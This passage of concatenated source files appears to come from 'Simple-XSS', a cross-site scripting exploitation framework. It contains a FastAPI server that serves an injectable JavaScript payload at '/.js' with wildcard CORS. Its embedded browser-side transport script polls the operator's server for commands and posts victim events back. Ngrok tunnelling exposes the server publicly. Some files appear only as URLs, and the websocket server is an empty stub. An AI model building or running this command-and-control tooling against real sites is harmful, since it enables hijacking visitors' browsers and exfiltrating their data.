14 | from simplexss.core.tunneling.exceptions import TunnelingError
15 | from simplexss.core.schemas import (
16 | ArgumentsSchema,
17 | SettingsSchema
18 | )
19 | from simplexss.core.types import (
20 | BasePayload,
21 | BaseHook,
22 | )
23 | from simplexss.utils.packages import BasePackageManager
24 | from .types import BaseProcessor
25 | from .channels import ProcessorChannel
26 | from .logging import logger
27 | from .enums import Messages
28 | from simplexss.core.ui.contexts import UIContext
29 |
30 |
31 | class SimpleXSSProcessor(BaseProcessor):
32 | def __init__(
33 | self,
34 | arguments: ArgumentsSchema,
35 | settings: SettingsSchema,
36 | transport_factory: TransportServiceFactory,
37 | tunneling_factory: TunnelingServiceFactory,
38 | hook_manager: BasePackageManager,
39 | payload_manager: BasePackageManager,
40 | io_manager: BaseIOManagerAPI,
41 | ui_context: UIContext
42 | ):
43 | self._arguments = arguments
44 | self._settings = settings
45 | self._transport_factory = transport_factory
46 | self._tunneling_factory = tunneling_factory
47 | self._hook_manager = hook_manager
48 | self._payload_manager = payload_manager
49 | self._io_manager = io_manager
50 | self._ui_context = ui_context
51 |
52 | self._hook: BaseHook | None = None
53 | self._payload: BasePayload | None = None
54 | self._transport_service: BaseTransportService | None = None
55 | self._transport_session: BaseTransportSession | None = None
56 | self._tunneling_service: BaseTunnelingService | None = None
57 | self._tunneling_session: BaseTunnelingSession | None = None
58 | self._environment: Environment | None = None
59 |
60 | def _setup_environment(self):
61 | self._environment = Environment(
62 | settings=self._settings,
63 | arguments=self._arguments
64 | )
65 |
66 | def _setup_hook(self):
67 | self._hook = self._hook_manager.get_package(
68 | self._settings.hook.current,
69 | )
70 |
71 | def _setup_payload(self):
72 | self._payload = self._payload_manager.get_package(
73 | self._settings.payload.current
74 | )
75 |
76 | def _setup_tunneling(self):
77 | self._tunneling_service = self._tunneling_factory.create(
78 | self._settings.tunneling.current,
79 | )
80 |
81 | def _setup_transport(self):
82 | self._transport_service = self._transport_factory.create(
83 | self._settings.transport.current
84 | )
85 |
86 | async def _run_tunneling(self):
87 | try:
88 | self._tunneling_session = await self._tunneling_service.run(
89 | self._transport_service.PROTOCOL,
90 | self._settings.transport.port,
91 | )
92 | except TunnelingError as e:
93 | await ProcessorChannel.error_occurred.publish_async(error=f'Tunneling Error: {e}')
94 | raise
95 |
96 | async def _run_transport(self):
97 | try:
98 | settings = self._settings.transport
99 |
100 | self._transport_session = await self._transport_service.run(
101 | host=settings.host,
102 | port=settings.port,
103 | )
104 | except TransportError:
105 | raise
106 |
107 | async def _bind_dependencies(self):
108 |
109 | if self._settings.tunneling.use:
110 | self._environment.url = self._tunneling_session.public_url
111 | else:
112 | url = self._settings.tunneling.public_url
113 |
114 | if not url:
115 | url = f'http://{self._transport_session.host}:{self._transport_session.port}'
116 |
117 | self._environment.url = url
118 |
119 | self._hook.bind_dependencies(
120 | env=self._environment,
121 | io=self._io_manager,
122 | )
123 | self._ui_context.hook = self._hook.hook
124 |
125 | self._transport_session.api.bind_payload(self._payload.payload)
126 | self._transport_session.api.bind_environment(self._environment)
127 | self._payload.bind_dependencies(
128 | env=self._environment,
129 | transport=self._transport_session.api,
130 | io=self._io_manager
131 | )
132 | self._payload.bind_endpoints()
133 |
134 | async def _setup(self):
135 | self._setup_environment()
136 | self._setup_hook()
137 | self._setup_payload()
138 | self._setup_transport()
139 | self._setup_tunneling()
140 |
141 | async def _run(self):
142 | await self._run_transport()
143 |
144 | if self._settings.tunneling.use:
145 | await self._run_tunneling()
146 |
147 | async def run(self):
148 | try:
149 | await self._setup()
150 | await self._run()
151 | await self._bind_dependencies()
152 |
153 | await ProcessorChannel.process_launched.publish_async()
154 | logger.info('Process launched')
155 | await self._io_manager.print(Messages.PROCESS_LAUNCHED, color='green')
156 | await self._io_manager.print(Messages.CURRENT_HOOK.format(hook=self._ui_context.hook), color='green')
157 |
158 | except Exception as e:
159 | await ProcessorChannel.error_occurred.publish_async(
160 | error=f'Error Occurred: {e.__class__.__name__}: {e}'
161 | )
162 | await self.stop()
163 |
164 | async def stop(self):
165 | try:
166 | await self._transport_service.stop(self._transport_session)
167 |
168 | if self._settings.tunneling.use:
169 | await self._tunneling_service.stop(self._tunneling_session)
170 |
171 | await ProcessorChannel.process_terminated.publish_async()
172 |
173 | logger.info('Process terminated')
174 | await self._io_manager.print(Messages.PROCESS_TERMINATED, color='green')
175 | except Exception as e:
176 | pass
177 |
--------------------------------------------------------------------------------
/simplexss/core/process/types.py:
--------------------------------------------------------------------------------
1 | from abc import (
2 | ABC,
3 | abstractmethod
4 | )
5 |
6 |
7 | class BaseProcessor(ABC):
8 | @abstractmethod
9 | async def run(self): ...
10 |
11 | @abstractmethod
12 | async def stop(self): ...
13 |
--------------------------------------------------------------------------------
/simplexss/core/schemas/__init__.py:
--------------------------------------------------------------------------------
1 | from .arguments import ArgumentsSchema
2 | from .settings import SettingsSchema
3 |
4 | __all__ = [
5 | 'ArgumentsSchema',
6 | 'SettingsSchema',
7 | ]
8 |
--------------------------------------------------------------------------------
/simplexss/core/schemas/arguments.py:
--------------------------------------------------------------------------------
1 | from pydantic import (
2 | BaseModel,
3 | Field
4 | )
5 | from simplexss.core.enums import GraphicMode
6 | from simplexss.core.config import (
7 | DEFAULT_SETTINGS_FILE,
8 | DEFAULT_GRAPHIC_MODE,
9 | DEFAULT_LANGUAGE,
10 | )
11 |
12 |
13 | class ArgumentsSchema(BaseModel):
14 | settings_file: str = Field(DEFAULT_SETTINGS_FILE, description='settings file path')
15 | graphic_mode: GraphicMode = Field(DEFAULT_GRAPHIC_MODE, description='graphic mode')
16 | language: str = Field(DEFAULT_LANGUAGE, description='language')
17 |
--------------------------------------------------------------------------------
/simplexss/core/schemas/settings.py:
--------------------------------------------------------------------------------
1 | from pydantic import BaseModel, Field
2 |
3 | from simplexss.core.config import (
4 | DEFAULT_RESOLUTION,
5 | DEFAULT_THEME,
6 | DEFAULT_HOST,
7 | DEFAULT_PORT,
8 | DEFAULT_TRANSPORT,
9 | PAYLOADS_DIRECTORY,
10 | HOOKS_DIRECTORY,
11 | DEFAULT_TUNNELING_SERVICE
12 | )
13 |
14 |
15 | class HookSettingsSchema(BaseModel):
16 | current: str = None
17 | directory: str = HOOKS_DIRECTORY
18 |
19 |
20 | class PayloadSettingsSchema(BaseModel):
21 | current: str = None
22 | directory: str = PAYLOADS_DIRECTORY
23 |
24 |
25 | class TransportSettingsSchema(BaseModel):
26 | current: str = DEFAULT_TRANSPORT
27 | host: str = DEFAULT_HOST
28 | port: int = DEFAULT_PORT
29 |
30 |
31 | class TunnelingSettingsSchema(BaseModel):
32 | current: str = DEFAULT_TUNNELING_SERVICE
33 | use: bool = True
34 | public_url: str = ''
35 |
36 |
37 | class GraphicsSettingsSchema(BaseModel):
38 | resolution: tuple = DEFAULT_RESOLUTION
39 | theme: str = Field(DEFAULT_THEME)
40 |
41 |
42 | class SettingsSchema(BaseModel):
43 | hook: HookSettingsSchema = HookSettingsSchema()
44 | payload: PayloadSettingsSchema = PayloadSettingsSchema()
45 | transport: TransportSettingsSchema = TransportSettingsSchema()
46 | tunneling: TunnelingSettingsSchema = TunnelingSettingsSchema()
47 | graphics: GraphicsSettingsSchema = GraphicsSettingsSchema()
--------------------------------------------------------------------------------
/simplexss/core/settings.py:
--------------------------------------------------------------------------------
1 | from pydantic import BaseModel
2 |
3 | from simplexss.core.logging import logger
4 | from simplexss.core.config import DEFAULT_SETTINGS_FILE
5 | from simplexss.core.containers import CoreContainer
6 | from simplexss.utils.di import inject
7 | from simplexss.utils.settings import (
8 | BaseLoader,
9 | )
10 |
11 |
12 | @inject
13 | def load_settings(
14 | schema: type[BaseModel] = CoreContainer.settings_schema,
15 | args=CoreContainer.arguments,
16 | loader: BaseLoader = CoreContainer.settings_loader):
17 | file = args.settings_file
18 | try:
19 | settings = loader.load(schema=schema, file=file)
20 | except Exception as e:
21 | settings = schema()
22 | save_settings(settings=settings)
23 |
24 | logger.info(f'Settings loaded: {settings}')
25 | return settings
26 |
27 |
28 | @inject
29 | def save_settings(
30 | settings=CoreContainer.settings,
31 | args=CoreContainer.arguments,
32 | loader: BaseLoader = CoreContainer.settings_loader):
33 | file = args.settings_file
34 | try:
35 | loader.save(data=settings, file=file)
36 | except ValueError:
37 | loader.save(data=settings, file=DEFAULT_SETTINGS_FILE)
38 |
39 | logger.info(f'Settings saved: {settings}')
40 |
--------------------------------------------------------------------------------
/simplexss/core/transports/__init__.py:
--------------------------------------------------------------------------------
1 | from .types import (
2 | BaseSession,
3 | BaseTransportServiceFactory,
4 | BaseTransportAPI,
5 | BaseTransportService,
6 | BaseClient,
7 | BaseEvent,
8 | Endpoint
9 | )
10 |
11 | from .factories import (
12 | TransportServiceFactory,
13 | )
14 | from .api import (
15 | CommonTransportAPI,
16 | )
17 |
18 | from . import http
19 |
20 | __all__ = [
21 | 'BaseSession',
22 | 'BaseTransportAPI',
23 | 'BaseTransportServiceFactory',
24 | 'TransportServiceFactory',
25 | 'BaseTransportService',
26 | 'CommonTransportAPI',
27 | 'BaseClient',
28 | 'BaseEvent',
29 | 'Endpoint'
30 | ]
31 |
--------------------------------------------------------------------------------
/simplexss/core/transports/api.py:
--------------------------------------------------------------------------------
1 | import inspect
2 |
3 |
4 | from simplexss.core.logging import logger
5 |
6 | from .types import (
7 | BaseTransportAPI,
8 | BaseEvent,
9 | Endpoint,
10 | BaseClient
11 | )
12 | from ..data import Environment
13 |
14 |
15 | class CommonTransportAPI(BaseTransportAPI):
16 | def __init__(self):
17 | self._payload = None
18 | self._endpoints = {}
19 | self._client_events = {}
20 | self._env = None
21 |
22 | @property
23 | def payload(self) -> str:
24 | if self._payload is None:
25 | raise ValueError('Payload not bound')
26 |
27 | return self._payload
28 |
29 | @property
30 | def environment(self) -> Environment:
31 | return self._env
32 |
33 | def bind_payload(self, payload: str):
34 | if not isinstance(payload, str):
35 | raise TypeError('Payload must be a string JS code')
36 |
37 | self._payload = payload
38 | logger.debug(f'apicall: Bound payload: {payload}')
39 |
40 | def bind_environment(self, env: Environment):
41 | self._env = env
42 |
43 | def bind_endpoint(self, event: str, endpoint: Endpoint):
44 | self._endpoints[event] = endpoint
45 | logger.debug(f'apicall: Endpoint bound on event {event}: {endpoint}')
46 |
47 | async def send_event(self, client: BaseClient, event: BaseEvent):
48 | events = self._client_events.get(client, [])
49 | events.append(event)
50 | self._client_events[client] = events
51 | logger.debug(f'apicall: Event send to {client}: {event}')
52 |
53 | async def handle_event(self, client: BaseClient, event: BaseEvent):
54 | endpoint = self._endpoints.get(event.name)
55 |
56 | if not endpoint:
57 | return
58 |
59 | if inspect.iscoroutinefunction(endpoint):
60 | result = await endpoint(client, event)
61 | else:
62 | result = endpoint(client, event)
63 |
64 | if result is not None:
65 | if isinstance(result, BaseEvent):
66 | await self.send_event(client, result)
67 | elif isinstance(result, dict):
68 | await self.send_event(client, BaseEvent.model_validate(result))
69 |
70 | def pop_event(self, client: BaseClient) -> BaseEvent | None:
71 | try:
72 | events = self._client_events.get(client)
73 |
74 | if events:
75 | return events.pop(0)
76 | except KeyError:
77 | return None
78 |
--------------------------------------------------------------------------------
/simplexss/core/transports/exceptions.py:
--------------------------------------------------------------------------------
1 | class TransportError(Exception):
2 | pass
3 |
4 |
5 | class AddressError(TransportError):
6 | pass
7 |
--------------------------------------------------------------------------------
/simplexss/core/transports/factories.py:
--------------------------------------------------------------------------------
1 | from functools import cache
2 | from typing import Iterable
3 |
4 | from simplexss.utils.clsutils import iter_subclasses
5 | from .types import (
6 | BaseTransportService,
7 | BaseTransportServiceFactory
8 | )
9 |
10 |
11 | class TransportServiceFactory(BaseTransportServiceFactory):
12 | def create(self, name: str) -> BaseTransportService:
13 | service = self.get_service(name=name)
14 | if service is None:
15 | raise ValueError(f'Service not found: {name}')
16 |
17 | return service()
18 |
19 | @cache
20 | def get_service(self, name: str) -> type[BaseTransportService] | None:
21 | for service in iter_subclasses(BaseTransportService):
22 | if service.NAME == name:
23 | return service
24 |
25 | def get_names(self) -> Iterable[str]:
26 | return {
27 | service.NAME
28 | for service in iter_subclasses(BaseTransportService)
29 | }
--------------------------------------------------------------------------------
/simplexss/core/transports/http/__init__.py:
--------------------------------------------------------------------------------
1 | from .services import HTTPService
2 | from .sessions import HTTPSession
3 |
4 | __all__ = [
5 | 'HTTPService',
6 | 'HTTPSession',
7 | ]
8 |
--------------------------------------------------------------------------------
/simplexss/core/transports/http/fastapi/__init__.py:
--------------------------------------------------------------------------------
1 | from .servers import FastAPIServer
2 |
3 | __all__ = [
4 | 'FastAPIServer'
5 | ]
6 |
--------------------------------------------------------------------------------
/simplexss/core/transports/http/fastapi/constants.py:
--------------------------------------------------------------------------------
1 | TRANSPORT_JS_CODE = '''
2 | const token = "{{ token }}";
3 | const url = "{{ environment.url }}";
4 | const listeners = {};
5 |
6 | const sendEvent = async (event, data = {}) => {
7 | const options = {
8 | method: 'POST',
9 | headers: {
10 | 'Content-Type': 'application/json',
11 | 'Authorization': token
12 | },
13 | body: JSON.stringify({
14 | 'name': event,
15 | 'data': data
16 | })
17 | };
18 |
19 | await fetch(`${url}/event`, options);
20 | }
21 |
22 | const addListener = (event, callback) => {
23 | if (!listeners[event]) {
24 | listeners[event] = [];
25 | }
26 | listeners[event].push(callback);
27 | }
28 |
29 | const listenForEvents = async () => {
30 | const options = {
31 | method: 'GET',
32 | headers: {
33 | 'Content-Type': 'application/json',
34 | 'Authorization': token
35 | },
36 | };
37 |
38 | while (true) {
39 | const response = await fetch(`${url}/event`, options);
40 | const data = await response.json();
41 | const callbacks = listeners[data.name] || [];
42 |
43 | callbacks.forEach(callback => {
44 | callback(data.data);
45 | });
46 | }
47 | }
48 |
49 | // Start listening for events
50 | listenForEvents();
51 | '''
52 |
--------------------------------------------------------------------------------
/simplexss/core/transports/http/fastapi/dependencies.py:
--------------------------------------------------------------------------------
1 | from typing import Annotated
2 |
3 | from fastapi import (
4 | Request,
5 | Header
6 | )
7 |
8 | from .services import (
9 | get_client,
10 | generate_token
11 | )
12 |
13 |
14 | async def authenticate(
15 | request: Request,
16 | user_agent: Annotated[str | None, Header()] = None,
17 | authorization: Annotated[str | None, Header()] = None,
18 | ):
19 | if not authorization:
20 | authorization = generate_token()
21 |
22 | client = get_client(
23 | origin=request.client.host,
24 | user_agent=user_agent,
25 | token=authorization,
26 | )
27 | return client
28 |
--------------------------------------------------------------------------------
/simplexss/core/transports/http/fastapi/schemas.py:
--------------------------------------------------------------------------------
1 | from simplexss.core.transports import (
2 | BaseClient,
3 | BaseEvent,
4 | )
5 |
6 |
7 | class HTTPClient(BaseClient):
8 | token: str
9 | user_agent: str
10 |
11 | def __hash__(self) -> int:
12 | return hash(self.token)
13 |
14 |
15 | class HTTPEvent(BaseEvent):
16 | pass
17 |
--------------------------------------------------------------------------------
/simplexss/core/transports/http/fastapi/servers.py:
--------------------------------------------------------------------------------
1 | import asyncio
2 | import threading
3 | import queue
4 |
5 | import uvicorn
6 | from starlette.middleware.cors import CORSMiddleware
7 | from fastapi import (
8 | FastAPI,
9 | Depends,
10 | responses,
11 | Request
12 | )
13 | from jinja2 import Template
14 |
15 | from simplexss.core.transports import (
16 | BaseTransportAPI,
17 | CommonTransportAPI,
18 | BaseClient,
19 | BaseEvent,
20 | )
21 | from simplexss.core.logging import logger
22 | from simplexss.core.transports.exceptions import TransportError
23 | from simplexss.utils.theads import thread
24 | from simplexss.utils.network import (
25 | validate_host,
26 | validate_port
27 | )
28 | from .constants import TRANSPORT_JS_CODE
29 | from .dependencies import authenticate
30 | from ..types import (
31 | BaseHTTPTransportServer,
32 | )
33 |
34 |
35 | class FastAPIServer(BaseHTTPTransportServer):
36 | def __init__(self, host: str = None, port: int = None, fastapi: FastAPI = None):
37 | self._running = False
38 | self._api: CommonTransportAPI | None = None
39 | self._fastapi = fastapi or FastAPI()
40 | self._server_thread: threading.Thread | None = None
41 | self._uvicorn_server: uvicorn.Server | None = None
42 | self._host: str = host
43 | self._port: int = port
44 | self._error_queue = queue.Queue()
45 |
46 | self._configure_fastapi()
47 |
48 | def _configure_fastapi(self):
49 | self._fastapi.add_middleware(
50 | CORSMiddleware,
51 | allow_origins=['*'],
52 | allow_credentials=True,
53 | allow_methods=['*'],
54 | allow_headers=['*'],
55 | )
56 | self._register_endpoints()
57 |
58 | def _register_endpoints(self):
59 | self._fastapi.get(
60 | '/.js',
61 | status_code=200,
62 | )(self._read_payload)
63 |
64 | self._fastapi.get(
65 | '/event',
66 | status_code=200,
67 | response_model=BaseEvent,
68 | )(self._read_event)
69 |
70 | self._fastapi.post(
71 | '/event',
72 | status_code=200,
73 | )(self._create_event)
74 |
75 | def _get_full_payload(self, client: BaseClient) -> str:
76 | transport = Template(TRANSPORT_JS_CODE).render(
77 | token=client.token,
78 | environment=self._api.environment,
79 | )
80 |
81 | code = self._api.payload
82 | code = f'{transport}\n\n{code}'
83 | return code
84 |
85 | async def _read_payload(self, client: BaseClient = Depends(authenticate)):
86 | code = self._get_full_payload(client=client)
87 | await self._api.handle_event(client, BaseEvent(name='connection', data={}))
88 | return responses.HTMLResponse(
89 | content=code,
90 | media_type='text/javascript'
91 | )
92 |
93 | async def _read_event(self, client: BaseClient = Depends(authenticate)):
94 | event = self._api.pop_event(client)
95 |
96 | while not event:
97 | await asyncio.sleep(0.1)
98 | event = self._api.pop_event(client)
99 |
100 | return event
101 |
102 | async def _create_event(self, event: BaseEvent, client: BaseClient = Depends(authenticate)):
103 | await self._api.handle_event(client, event)
104 |
105 | def _check_errors(self):
106 | if not self._error_queue.empty():
107 | error = self._error_queue.get()
108 | raise error
109 |
110 | def _setup_api(self):
111 | self._api = CommonTransportAPI()
112 |
113 | @thread(daemon=True)
114 | def _run_server_in_thread(self):
115 | try:
116 | config = uvicorn.Config(
117 | app=self._fastapi,
118 | host=self._host,
119 | port=self._port
120 | )
121 | self._uvicorn_server = uvicorn.Server(config)
122 | self._uvicorn_server.run()
123 |
124 | except SystemExit as e:
125 | logger.error(f'Server Error: {e}')
126 | self._error_queue.put(TransportError(f'Address is already in use: {self._host}:{self._port}'))
127 |
128 | async def _run_server(self):
129 | self._server_thread = self._run_server_in_thread()
130 |
131 | await asyncio.sleep(0.5)
132 | self._check_errors()
133 |
134 | def _validate_params(self):
135 | validate_port(self._port, raise_exceptions=True)
136 | validate_host(self._host, raise_exceptions=True)
137 |
138 | async def run(self, host: str = None, port: int = None) -> BaseTransportAPI:
139 | logger.info(f'Starting up FastAPI server on {self._host}:{self._port}')
140 |
141 | if self._running:
142 | logger.error(f'Server is already running')
143 | raise TransportError('Server is already running')
144 |
145 | self._host = host or self._host
146 | self._port = port or self._port
147 |
148 | self._validate_params()
149 |
150 | self._running = True
151 |
152 | self._setup_api()
153 |
154 | await self._run_server()
155 |
156 | return self._api
157 |
158 | async def stop(self):
159 | logger.info(f'Turning down FastAPI server on {self._host}:{self._port}')
160 | self._uvicorn_server.should_exit = True
161 | del self._server_thread
162 | self._running = False
163 |
--------------------------------------------------------------------------------
/simplexss/core/transports/http/fastapi/services.py:
--------------------------------------------------------------------------------
1 | from uuid import uuid4
2 | from functools import cache
3 |
4 | from .schemas import HTTPClient
5 |
6 |
7 | @cache
8 | def get_client(**data):
9 | return HTTPClient.model_validate(data)
10 |
11 |
12 | def generate_token() -> str:
13 | return str(uuid4())
14 |
--------------------------------------------------------------------------------
/simplexss/core/transports/http/services.py:
--------------------------------------------------------------------------------
1 | from .sessions import HTTPSession
2 | from .types import (
3 | BaseHTTPTransportServer,
4 | )
5 | from .fastapi import (
6 | FastAPIServer,
7 | )
8 | from ..types import (
9 | BaseTransportService,
10 | BaseSession,
11 | )
12 | from ..exceptions import TransportError
13 |
14 |
15 | class HTTPService(BaseTransportService):
16 | NAME = 'Default HTTP Transport'
17 | PROTOCOL = 'http'
18 |
19 | def __init__(self):
20 | self._sessions = {}
21 |
22 | async def run(
23 | self,
24 | host: str,
25 | port: int,
26 | server: BaseHTTPTransportServer = None,
27 | **kwargs
28 | ) -> BaseSession:
29 | if not server:
30 | server = FastAPIServer()
31 |
32 | api = await server.run(
33 | host=host,
34 | port=port,
35 | )
36 |
37 | session = HTTPSession(
38 | host=host,
39 | port=port,
40 | api=api,
41 | )
42 |
43 | self._sessions[session] = server
44 | return session
45 |
46 | async def stop(self, session: BaseSession) -> None:
47 | server = self._sessions.get(session)
48 | if server is None:
49 | raise ValueError('Session not found')
50 |
51 | await server.stop()
52 |
--------------------------------------------------------------------------------
/simplexss/core/transports/http/sessions.py:
--------------------------------------------------------------------------------
1 | from dataclasses import dataclass
2 | from ..types import (
3 | BaseSession
4 | )
5 |
6 |
7 | @dataclass(frozen=True)
8 | class HTTPSession(BaseSession):
9 | pass
10 |
--------------------------------------------------------------------------------
/simplexss/core/transports/http/types.py:
--------------------------------------------------------------------------------
1 | from abc import (
2 | ABC,
3 | abstractmethod
4 | )
5 | from simplexss.core.transports import BaseTransportAPI
6 |
7 |
8 | class BaseHTTPTransportServer(ABC):
9 | @abstractmethod
10 | async def run(self, host: str, port: int) -> BaseTransportAPI: ...
11 |
12 | @abstractmethod
13 | async def stop(self): ...
14 |
--------------------------------------------------------------------------------
/simplexss/core/transports/types.py:
--------------------------------------------------------------------------------
1 | from abc import (
2 | ABC,
3 | abstractmethod
4 | )
5 | from typing import (
6 | Callable,
7 | Coroutine,
8 | Iterable
9 | )
10 |
11 | from pydantic import BaseModel
12 | from dataclasses import dataclass
13 |
14 | from simplexss.core.data import Environment
15 |
16 | type Endpoint = Callable[[BaseClient, BaseEvent], Coroutine | BaseEvent | any | None]
17 |
18 |
19 | @dataclass(frozen=True)
20 | class BaseSession:
21 | host: str
22 | port: int
23 | api: 'BaseTransportAPI'
24 |
25 |
26 | class BaseClient(BaseModel):
27 | origin: str
28 |
29 | @abstractmethod
30 | def __hash__(self) -> int: ...
31 |
32 |
33 | class BaseEvent(BaseModel):
34 | name: str
35 | data: dict = None
36 |
37 |
38 | class BaseTransportAPI(ABC):
39 | @abstractmethod
40 | def bind_payload(self, payload: str): ...
41 |
42 | @abstractmethod
43 | def bind_environment(self, env: Environment): ...
44 |
45 | @abstractmethod
46 | def bind_endpoint(self, event: str, endpoint: Endpoint): ...
47 |
48 | @abstractmethod
49 | async def send_event(self, client: BaseClient, event: BaseEvent): ...
50 |
51 |
52 | class BaseTransportService(ABC):
53 | NAME: str
54 | PROTOCOL: str
55 |
56 | @abstractmethod
57 | async def run(self, host: str, port: int, **kwargs) -> BaseSession: ...
58 |
59 | @abstractmethod
60 | async def stop(self, session: BaseSession) -> None: ...
61 |
62 |
63 | class BaseTransportServiceFactory(ABC):
64 | @abstractmethod
65 | def create(self, name: str): ...
66 |
67 | @abstractmethod
68 | def get_service(self, name: str) -> type[BaseTransportService] | None: ...
69 |
70 | @abstractmethod
71 | def get_names(self) -> Iterable[str]: ...
72 |
--------------------------------------------------------------------------------
/simplexss/core/transports/websocket/__init__.py:
--------------------------------------------------------------------------------
1 | from .services import WebsocketService
2 | from .sessions import WebsocketSession
3 |
4 | __all__ = [
5 | 'WebsocketService',
6 | 'WebsocketSession',
7 | ]
8 |
--------------------------------------------------------------------------------
/simplexss/core/transports/websocket/server/__init__.py:
--------------------------------------------------------------------------------
1 | from .servers import WebsocketServer
2 |
3 |
4 | __all__ = [
5 | 'WebsocketServer',
6 | ]
--------------------------------------------------------------------------------
/simplexss/core/transports/websocket/server/constants.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CrazyProger1/Simple-XSS/758eb1810fb9068e6a66e5389d251b24bc34d6f2/simplexss/core/transports/websocket/server/constants.py
--------------------------------------------------------------------------------
/simplexss/core/transports/websocket/server/schemas.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CrazyProger1/Simple-XSS/758eb1810fb9068e6a66e5389d251b24bc34d6f2/simplexss/core/transports/websocket/server/schemas.py
--------------------------------------------------------------------------------
/simplexss/core/transports/websocket/server/servers.py:
--------------------------------------------------------------------------------
1 | import asyncio
2 | import queue
3 | import websockets
4 |
5 | from simplexss.core.transports import (
6 | BaseTransportAPI,
7 | CommonTransportAPI
8 | )
9 | from simplexss.utils.network import validate_port, validate_host
10 | from simplexss.utils.theads import thread
11 | from simplexss.core.transports.exceptions import (
12 | TransportError,
13 | )
14 | from ..types import BaseWebsocketServer
15 |
16 |
17 | class WebsocketServer(BaseWebsocketServer):
18 |
19 | async def run(self, host: str, port: int) -> BaseTransportAPI:
20 | pass
21 |
22 | async def stop(self):
23 | pass
24 |
--------------------------------------------------------------------------------
/simplexss/core/transports/websocket/services.py:
--------------------------------------------------------------------------------
1 | from .types import BaseWebsocketServer
2 | from ..types import (
3 | BaseTransportService,
4 | BaseSession,
5 | )
6 | from ..exceptions import TransportError
7 | from .server import WebsocketServer
8 | from .sessions import WebsocketSession
9 |
10 |
11 | class WebsocketService(BaseTransportService):
12 | NAME = 'Default Websocket Transport'
13 | PROTOCOL = 'websocket'
14 |
15 | def __init__(self):
16 | self._sessions = {}
17 |
18 | async def run(
19 | self,
20 | host: str,
21 | port: int,
22 | server: BaseWebsocketServer = None,
23 | **kwargs
24 | ) -> BaseSession:
25 | if server is None:
26 | server = WebsocketServer()
27 |
28 | api = await server.run(
29 | host=host,
30 | port=port,
31 | )
32 |
33 | session = WebsocketSession(
34 | host=host,
35 | port=port,
36 | api=api,
37 | )
38 |
39 | self._sessions[session] = server
40 | return session
41 |
42 | async def stop(self, session: BaseSession) -> None:
43 | server = self._sessions.get(session)
44 | if server is None:
45 | raise ValueError('Session not found')
46 |
47 | await server.stop()
48 |
--------------------------------------------------------------------------------
/simplexss/core/transports/websocket/sessions.py:
--------------------------------------------------------------------------------
1 | from dataclasses import dataclass
2 | from ..types import (
3 | BaseSession
4 | )
5 |
6 |
7 | @dataclass(frozen=True)
8 | class WebsocketSession(BaseSession):
9 | pass
10 |
--------------------------------------------------------------------------------
/simplexss/core/transports/websocket/types.py:
--------------------------------------------------------------------------------
1 | from abc import (
2 | ABC,
3 | abstractmethod
4 | )
5 | from simplexss.core.transports import BaseTransportAPI
6 |
7 |
8 | class BaseWebsocketServer(ABC):
9 | @abstractmethod
10 | async def run(self, host: str, port: int) -> BaseTransportAPI: ...
11 |
12 | @abstractmethod
13 | async def stop(self): ...
14 |
--------------------------------------------------------------------------------
/simplexss/core/tunneling/__init__.py:
--------------------------------------------------------------------------------
1 | from . import ngrok, serveo
2 |
3 | from .types import (
4 | BaseTunnelingService,
5 | BaseTunnelingServiceFactory,
6 | BaseSession
7 | )
8 | from .factories import TunnelingServiceFactory
9 |
10 | __all__ = [
11 | 'BaseTunnelingService',
12 | 'BaseTunnelingServiceFactory',
13 | 'TunnelingServiceFactory',
14 | 'BaseSession',
15 | ]
16 |
--------------------------------------------------------------------------------
/simplexss/core/tunneling/exceptions.py:
--------------------------------------------------------------------------------
1 | class TunnelingError(Exception):
2 | pass
3 |
--------------------------------------------------------------------------------
/simplexss/core/tunneling/factories.py:
--------------------------------------------------------------------------------
1 | from functools import cache
2 | from typing import Iterable
3 |
4 | from simplexss.utils.clsutils import iter_subclasses
5 |
6 | from .types import (
7 | BaseTunnelingServiceFactory,
8 | BaseTunnelingService
9 | )
10 |
11 |
12 | class TunnelingServiceFactory(BaseTunnelingServiceFactory):
13 | def create(self, name: str) -> BaseTunnelingService:
14 | service = self.get_service(name=name)
15 | if service is None:
16 | raise ValueError(f'Service not found: {name}')
17 |
18 | return service()
19 |
20 | @cache
21 | def get_service(self, name: str) -> type[BaseTunnelingService] | None:
22 | for service in iter_subclasses(BaseTunnelingService):
23 | if service.NAME == name:
24 | return service
25 |
26 | def get_names(self, protocol: str) -> Iterable[str]:
27 | return {
28 | service.NAME
29 | for service in iter_subclasses(BaseTunnelingService)
30 | if protocol in service.PROTOCOLS
31 | }
32 |
--------------------------------------------------------------------------------
/simplexss/core/tunneling/ngrok/__init__.py:
--------------------------------------------------------------------------------
1 | from .services import NgrokService
2 |
3 | __all__ = [
4 | 'NgrokService',
5 | ]
6 |
--------------------------------------------------------------------------------
/simplexss/core/tunneling/ngrok/services.py:
--------------------------------------------------------------------------------
1 | from pyngrok import (
2 | ngrok,
3 | exception as ngexception
4 | )
5 |
6 | from simplexss.core.logging import logger
7 | from simplexss.utils.network import (
8 | change_protocol,
9 | validate_port,
10 | )
11 |
12 | from .sessions import NgrokSession
13 | from ..types import (
14 | BaseTunnelingService,
15 | BaseSession,
16 | )
17 | from ..exceptions import (
18 | TunnelingError
19 | )
20 |
21 |
22 | class NgrokService(BaseTunnelingService):
23 | NAME = 'ngrok'
24 | PROTOCOLS = {
25 | 'websocket',
26 | }
27 | PROTOCOL_SCHEMAS = {
28 | 'websocket': 'wss'
29 | }
30 |
31 | @staticmethod
32 | async def _create_tunnel(port: int) -> str:
33 | try:
34 | tunnel = ngrok.connect(port)
35 | logger.debug(f'Tunnel is up: localhost:{port} -> {tunnel.public_url}')
36 | return tunnel.public_url
37 | except ngexception.PyngrokError as e:
38 | logger.error(f'Failed to open tunnel: {e.__class__.__name__}: {e}')
39 | raise TunnelingError(f'Failed to open tunnel: {e.__class__.__name__}: {e}')
40 |
41 | async def _create_session(self, port: int, protocol: str) -> BaseSession:
42 | schema = self.PROTOCOL_SCHEMAS[protocol]
43 | public_url = await self._create_tunnel(port=port)
44 | return NgrokSession(
45 | protocol=protocol,
46 | port=port,
47 | public_url=change_protocol(public_url, schema)
48 | )
49 |
50 | async def run(self, protocol: str, port: int) -> BaseSession:
51 | if protocol not in self.PROTOCOLS:
52 | raise ValueError(f'Protocol {protocol} not supported')
53 |
54 | validate_port(port, raise_exceptions=True)
55 | return await self._create_session(port=port, protocol=protocol)
56 |
57 | async def stop(self, session: BaseSession):
58 | ngrok.disconnect(session.public_url)
59 | ngrok.kill()
